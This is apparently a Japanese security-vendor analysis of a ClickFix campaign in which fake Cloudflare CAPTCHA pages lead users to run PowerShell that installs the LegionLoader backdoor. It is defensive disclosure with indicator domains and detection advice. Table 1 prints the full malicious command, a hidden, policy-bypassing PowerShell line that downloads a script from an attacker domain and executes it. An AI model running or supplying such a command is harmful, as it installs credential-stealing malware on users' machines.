自分の手でマルウェアを実行?ClickFix の巧妙なシナリオ

偽の CAPTCHA に潜む ClickFix の罠
ClickFix の最大の特徴は、マルウェアをユーザーの PC で直ちに実行するのではなく、ユーザー自身にコマンドを実行させる点です。そのために攻撃者は、正規の Cloudflare CAPTCHA 認証画面に似せた偽のページを使います。
一般的な CAPTCHA では、画面上のチェックボックスを選択したり、画像を選んだりするなど、Web ページ内で認証が完了します。一方、今回確認された偽の CAPTCHA は、Windows で別途コマンドを実行するよう案内します。ユーザーが画面の指示に従うと、あらかじめクリップボードにコピーされていた PowerShell コマンドが実行されます。
PowerShell は、Windows に標準搭載されているコマンド実行・自動化ツールです。システム管理などの正規の用途で広く使われていますが、攻撃者がマルウェアのダウンロードや実行に悪用することもあります。今回の攻撃では、ユーザー自身に PowerShell コマンドを実行させ、LegionLoader のインストールへとつなげます。
![[図1] 偽の Cloudflare CAPTCHA を使った LegionLoader の配布・実行の流れ](https://cloudimg.ccs.ahnlab.com/img_upload/editor/2609165167568101.png)
[図1] 偽の Cloudflare CAPTCHA を使った LegionLoader の配布・実行の流れ
このように、エラーの解消や認証を名目に、ユーザー自身の操作を促す攻撃手法を「ClickFix」と呼びます。ソフトウェアの脆弱性を直接狙うのではなく、正規の認証手続きだと信じたユーザーの行動を、攻撃の過程に利用する点が特徴です。
ナムウィキと業務メールを使った配布手法
アンラボが確認した LegionLoader の配布経路は、大きく二つあります。
一つ目は、韓国の「新婚希望タウン」に関するナムウィキのページを利用した事例です。攻撃者は、そのページに公式 Web サイトを装った悪意のある URL を登録し、ユーザーのアクセスを誘導しました。ユーザーがリンクをクリックすると、複数の Web アドレスを順に経由するリダイレクトによって、最終的に偽の Cloudflare CAPTCHA ページへ到達します。その後、画面で案内された Windows コマンドの実行手順に従うと、LegionLoader への感染につながる悪意のある PowerShell コマンドが実行されます。
[図2] 韓国のナムウィキ「新婚希望タウン」のページに、公式 Web サイトを装って登録された悪意のある URL
二つ目は、特定の企業を狙ったスピアフィッシングメールです。攻撃者は、社内業務システムの新規アカウント発行案内を装ってメールを送り、初期パスワードの変更とアカウントの有効化が必要だとして、リンクへのアクセスを促しました。
特に、このメールには対象企業が実際に使っているドメイン情報も記載されていました。さらに、パスワードの入力を誤るとアカウントがロックされるおそれがあるという警告や、一定期間内にアカウントを有効化するよう求める案内を加え、ユーザーに素早い行動を促しました。
しかし、メールに含まれる悪意のある URL にアクセスすると、ナムウィキの事例と同様に、複数回のリダイレクトを経て偽の Cloudflare CAPTCHA ページへ誘導されます。
[図3] Cloudflare CAPTCHA の認証画面を装い、PowerShell コマンドの実行を促す ClickFix ページ
PowerShell コマンドから始まる LegionLoader 感染
偽の CAPTCHA の案内に従って PowerShell コマンドを実行すると、本格的なマルウェアのインストールが始まります。
まず、PowerShell は外部サーバーから追加の PowerShell コードをダウンロードし、ユーザーの目につきにくい状態で実行します。その後、パスワードが設定された 7z 圧縮ファイルを追加でダウンロードして展開し、その中に含まれる LegionLoader を実行します。
| PowerShell コードのダウンロード・実行コマンド |
|---|
powershell -w h -ep bypass -c “$s=irm ‘leappoploaderinstantly[.]monster/yAzkCl1tDKSGNGGxw’ -UseBasicParsing;$e=[Management.Automation.Language.Parser]::ParseInput($s,[ref]$null,[ref]$null);&($e.GetScriptBlock())” |
[表1] ClickFix ページを通じて実行される悪意のある PowerShell コマンド
攻撃者は、LegionLoader の配布に時期によって異なるドメインを使っていたことが確認されています。8月には、アドレスに pop という文字列を含む .monster ドメインを主に使い、中間リダイレクトや最終的な ClickFix ページへと誘導していました。その後、9月からは .monster の代わりに .cfd ドメインを使う事例が多く確認され、攻撃者が配布インフラのドメイン構成を変更したと推測されます。これとは別に、8月には .com ドメインが一時的に使われた事例も確認されました。これまでに同じ攻撃で使われたことが確認された主なドメインは、次のとおりです。
| Index | ドメインの種類 | 確認されたドメイン | 確認された時期 |
|---|---|---|---|
| 1 | pop + .monster | ascendpopdownloadtoday[.]monster | 8月に多数確認 |
| 2 | gushpopsecretdownload[.]monster | ||
| 3 | jetpopdownloadsecret[.]monster | ||
| 4 | leappoploaderinstantly[.]monster | ||
| 5 | pourpopclickgetfast[.]monster | ||
| 6 | spoutpoploaderfast[.]monster | ||
| 7 | hotfootpopfilefast[.]monster | ||
| 8 | boltpopsecretbutton[.]monster | ||
| 9 | tearpopfilegetfast[.]monster | ||
| 10 | flinchpoploaderfast[.]monster | ||
| 11 | .cfd | pixelrainbowclub[.]cfd | 9月に多数確認 |
| 12 | dreamysamuraisoul[.]cfd | ||
| 13 | animecelestialblaze[.]cfd | ||
| 14 | cartoontalesworld[.]cfd | ||
| 15 | shadowinjalegend[.]cfd | ||
| 16 | .com | socialseoguru[.]com | 8月に一時的に確認 |
[表2] 配布過程の中間リダイレクト先と最終的な ClickFix ページに使われたドメイン一覧の一部
LegionLoader は、最終的な悪意のある機能を直ちに実行するのではなく、内部に暗号化して隠していたコードと実行ファイルを順に復号します。
[図4] 暗号化されたシェルコードの復号結果
続いて、現在の PC が仮想環境やリモート環境など、マルウェアの解析に使われる可能性のある環境かどうかを確認します。そのためにディスプレイデバイスの情報を調べ、外部のパブリック IP がホスティング事業者に割り当てられた環境かどうかも確認します。
これらの検査条件に該当しなければ、内部に隠していた実行ファイルを復号し、独自のローダーを使って最終的なバックドア型マルウェアを実行します。これは、解析環境と疑われるシステムでは次の段階の不正な動作を実行せず、解析を回避しようとする処理と考えられます。
追加マルウェアの実行と Chrome の情報窃取
最終的に実行されたバックドアは、感染した PC の情報を攻撃者の C2(Command & Control) サーバーに登録し、その後はサーバーから送られるコマンドを受け取って、さまざまな不正な動作を行います。C2 サーバーは、攻撃者が感染した PC と通信し、追加のコマンドを送ったり、実行結果を受け取ったりするために使うサーバーです。
バックドアは C2 サーバーの指示に従い、さまざまな形式の悪意のあるファイルやコードを追加で実行できます。通常の Windows 実行ファイルだけでなく、シェルコード、PowerShell スクリプト、MSI インストールファイルなども実行対象になり得ます。
この過程では、Process Injection や Process Hollowing といった手法も使われます。Process Injection は、実行中の別のプロセスに悪意のあるコードを挿入する手法です。Process Hollowing は、正規のプロセスを起動した後、その内部コードを悪意のあるコードに置き換えて実行する手法です。LegionLoader の最終的なバックドアは、explorer.exe や RuntimeBroker.exe などの正規の Windows プロセスを利用し、後続の悪意のあるコードを実行できます。
Chrome ブラウザーに保存された情報も攻撃対象です。バックドアは、Chrome の Legacy Master Key と App-Bound 暗号化キーを収集できるほか、C2 サーバーの指示に従って、特定のブラウザープロファイルの情報も取得できます。
また、Windows の起動時にマルウェアが再実行されるように Run または RunOnce の項目に登録し、再起動後も感染状態を維持できます。
偽の CAPTCHA の見分け方
今回の事例で最も重要な兆候は、Web ページが CAPTCHA 認証やエラー解消を理由に、Windows の「ファイル名を指定して実行」画面や PowerShell で、別途コマンドを実行するよう求めることです。
正規の CAPTCHA 認証は Web ページ内で完了し、ユーザーが PowerShell コマンドをコピーしたり、Windows で直接実行したりする必要はありません。セキュリティ確認を理由に、コマンドをコピーして実行するよう案内された場合は、そのまま従わないことが重要です。
メールや Web ページに掲載されたリンクについても、公式サイトのアドレスであるかを確認してください。特に、業務システムのアカウント発行やパスワード変更のように、即座の行動を求める案内では、リンクをすぐにクリックせず、正規の業務システムに直接アクセスして事実を確認する方が安全です。また、V3 を最新バージョンに保ち、マルウェアへの感染を予防する必要があります。